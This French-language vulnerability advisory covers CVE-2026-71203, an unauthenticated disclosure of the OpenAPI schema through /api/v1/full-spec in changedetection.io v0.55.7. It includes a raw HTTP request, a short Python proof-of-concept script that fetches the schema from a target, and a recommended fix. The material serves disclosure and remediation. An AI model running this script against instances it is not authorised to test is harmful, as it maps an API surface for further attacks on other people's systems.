
PoC: divulgation non authentifiée du schéma OpenAPI de changedetection.io (CVE-2026-71203, Medium 5.3)
Produit : dgtlmoon/changedetection.io — v0.55.7
Fichier : changedetectionio/api/Spec.py
CWE : CWE-306 — Authentification manquante pour une fonction critique
CVSS 3.1 : AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (Moyen)
CNA : Turan Security · Fiche CVE
Les ressources de l’API REST de changedetection.io sont protégées par un décorateur @auth.check_token
qui valide l’en-tête x-api-key du demandeur — à l’exception de la ressource Spec enregistrée sur
/api/v1/full-spec (changedetectionio/api/Spec.py), dont la méthode get ne porte ni
@auth.check_token ni @validate_openapi_request.
Tout client réseau non authentifié peut récupérer le schéma OpenAPI complet de l’instance, divulguant ainsi la surface d’API interne complète (tous les chemins de ressources, paramètres et formes de réponse) sans présenter de clé API. Bien que le schéma lui-même ne soit pas une donnée utilisateur sensible, il fournit à un attaquant une carte complète et faisant autorité de chaque autre point de terminaison API à cibler — réduisant le coût d’une reconnaissance supplémentaire contre les ressources réellement protégées de l’instance.
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
Aucun en-tête x-api-key, cookie ou autre identifiant n’est requis. La réponse est le document
complet de spécification OpenAPI.
Preuve de concept (Python) :
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
Chaque autre ressource REST de l’API est enregistrée avec @auth.check_token (et
@validate_openapi_request) appliqués à ses méthodes de gestionnaire ; la méthode get
de la ressource Spec n’a pas été décorée de la même manière, ce qui en fait le seul point de
terminaison non authentifié dans une surface autrement protégée par clé API.
Appliquer @auth.check_token à Spec.get(), comme pour toutes les autres ressources de l’API,
ou si le schéma est destiné à être public, faire de ce choix une décision explicite et documentée
plutôt qu’une incohérence.